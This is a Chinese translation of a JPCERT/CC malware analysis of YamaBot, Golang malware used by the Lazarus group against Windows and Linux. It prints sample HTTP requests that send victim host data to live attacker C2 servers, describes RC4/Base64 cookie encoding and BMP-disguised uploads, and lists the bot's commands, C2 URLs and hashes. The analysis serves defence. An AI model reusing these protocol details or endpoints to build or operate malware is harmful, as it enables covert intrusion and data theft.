作者:朝長 秀誠
译者:知道创宇404实验室翻译组
原文链接:https://blogs.jpcert.or.jp/en/2022/07/yamabot.html
JPCERT/CC正在持续调查Lazarus的活动。2021年,JPCERT/CC在CODE BLUE和HITCON上介绍了其攻击活动。
https://github.com/JPCERTCC/Lazarus-research/
上述研究报告中提到的YamaBot恶意软件针对的是Linux操作系统,但最近发现的另一种恶意软件针对的是Windows操作系统。(文件中称其为Kaos,但本博客称其为YamaBot。)YamaBot是在Golang中编码的恶意软件,在不同平台创建的恶意软件的功能略有不同。除了YamaBot,Lazarus还创建了其他几种针对多个平台的恶意软件,例如VSingle。本文将介绍YamaBot的详细信息。
YamaBot概述
YamaBot恶意软件使用HTTP请求与C2服务器通信。下面是示例中以Windows操作系统为目标的函数名列表。攻击者将恶意软件命名为Yamabot。针对Windows操作系统的互斥锁具有特定的功能,例如创建和检查互斥锁。
_/D_/Bot/YamaBot/utilities.BaseDecodeR
_/D_/Bot/YamaBot/utilities.HttpPostWithCookie
_/D_/Bot/YamaBot/utilities.HttpPostWithFile
_/D_/Bot/YamaBot/utilities.GetMacAddress
_/D_/Bot/YamaBot/utilities.GetHash
_/D_/Bot/YamaBot/utilities.GetCookieParams
_/D_/Bot/YamaBot/utilities.GetRndString
_/D_/Bot/YamaBot/utilities.BmpMaker
_/D_/Bot/YamaBot/utilities.createMutex
_/D_/Bot/YamaBot/utilities.CCheckkmutex
_/D_/Bot/YamaBot/utilities.CIpaddress
_/D_/Bot/YamaBot/utilities.COsname
_/D_/Bot/YamaBot/utilities.getOSVer
_/D_/Bot/YamaBot/utilities.Run
_/D_/Bot/YamaBot/utilities.Run.func1
_/D_/Bot/YamaBot/utilities.Run.func2
_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch
_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung
_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten
_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo
_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr
下面是针对Linux操作系统的样本中包含的恶意软件的函数名称列表,称为Kaos。
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile
_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID
_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams
_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode
_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString
_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen
_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress
_/C_/Users/administrator/Downloads/kaos/utilities.Run
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice
_/C_/Users/administrator/Downloads/kaos/utilities.COsname
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr
_/C_/Users/administrator/Downloads/kaos/engine.NewEgg
图1显示了读取配置的部分代码。恶意软件配置信息包括RC4密钥等(请参阅附录A了解配置的更多信息)。不同操作系统的配置没有区别。
下面介绍YamaBot的通信方式和命令,重点介绍YamaBot在Linux和Windows操作系统版本上的区别。
通信方式
YamaBot 使用 HTTP 请求与 C2 服务器通信。YamaBot发送的第一个 HTTP 开机自检请求如下。这是一个 HTTP 开机自检请求,但没有要发送的数据,其用户代理是 Base64 编码的。
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Accept-Encoding: gzip
如果成功连接到C2服务器,则YamaBot发送以下请求,其中包括其Cookie标头中的信息。添加的信息包括随机生成的4字节字符串和16字节RC4密钥的Base64编码。RC4密钥使用从以下数据生成的MD5值的前16个字节。
- 目标Windows操作系统:主机名、用户名、MAC地址
- 目标Linux操作系统:主机名、用户名
captcha_val
中的内容:RC4加密和Base64编码的终端信息和命令执行结果
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip
captcha_val
发送的第一个数据是操作系统信息和IP地址,发送如下内容:
windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]
此外,如果发送的数据大小超过特定大小(确认3333字节,7000字节的示例),则将发送的数据模拟为多部分BMP数据,而不是 captcha_val
发送。
POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream
BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--
来自服务器的命令包含在Set-Cookie标头中。它们经过RC4加密(RC4密钥使用恶意软件发送的数据)和Base64编码,然后包含在captcha_session
中,如下所示:
Set-Cookie: captcha_session=[Base64エンコードされた命令]
命令
来自C2服务器的指令执行的命令因目标操作系统而异。那些以Linux操作系统为目标的用户只能通过/bin/sh执行shell命令。另一方面,那些以Windows操作系统为目标的用户可以实现以下多个命令。
- dir: 获取文件列表
- Mapfs: 获取目录列表
- Download: 文件下载
- Info: 文件路径,发送PID
- Sleep:休眠时间更改
- Uninstall: 删除主机
- i: 间隔时间更改
- 其他:使用shell命令执行给定的字符串
格式要求上述命令包含在前半部分,可表示为:[command][command parameters]
如果执行命令i
,则发送命令执行结果,其中包含部分德语字符,目前尚不清楚在YamaBot中包含德语的原因。
总结
攻击者仍在使用YamaBot恶意软件。由于它不仅针对Windows操作系统,还针对Linux操作系统,因此在事件调查期间还应仔细调查服务器。日本国内当前也确认了多个Lazarus组织的攻击活动,今后应予以注意。Lazarus使用的另一种恶意软件将在下一期中介绍。
附录A:配置信息
偏移 | 描述 | 备注 |
---|---|---|
0x000 | 间隔 | 通信间隔 |
0x004 | - | 未使用 |
0x008 | C2 服务器 | |
0x00C | C2 服务器长度 | |
0x010 | RC4 密钥 | |
0x014 | RC4 密钥长度 | |
0x018 | 连接 C2 服务器 | 是否成功连接到 C2 服务器 |
0x01C | Cookie 标头值 | 要在 Cookie 标头中设置的值 |
0x020 | - | 未使用 |
0x024 | 连接次数 | 与 C2 服务器的重新连接次数 |
偏移 | 描述 | 备注 |
---|---|---|
0x000 | 间隔 | 通信间隔 |
0x008 | C2 服务器 | |
0x010 | C2 服务器长度 | |
0x018 | RC4 密钥 | |
0x020 | RC4 密钥长度 | |
0x028 | 连接 C2 服务器 | 是否成功连接到 C2 服务器 |
0x030 | Cookie 标头值 | 要在 Cookie 标头中设置的值 |
0x038 | - | 未使用 |
0x040 | 连接次数 | 与 C2 服务器的重新连接次数 |
附录B: C2 服务器
- http://www.karin-store.com/recaptcha.php
- http://yoshinorihirano.net/wp-includes/feed-xml.php
- http://213.180.180.154/editor/session/aaa000/support.php
附录C:恶意软件哈希值
- f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
- 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1932/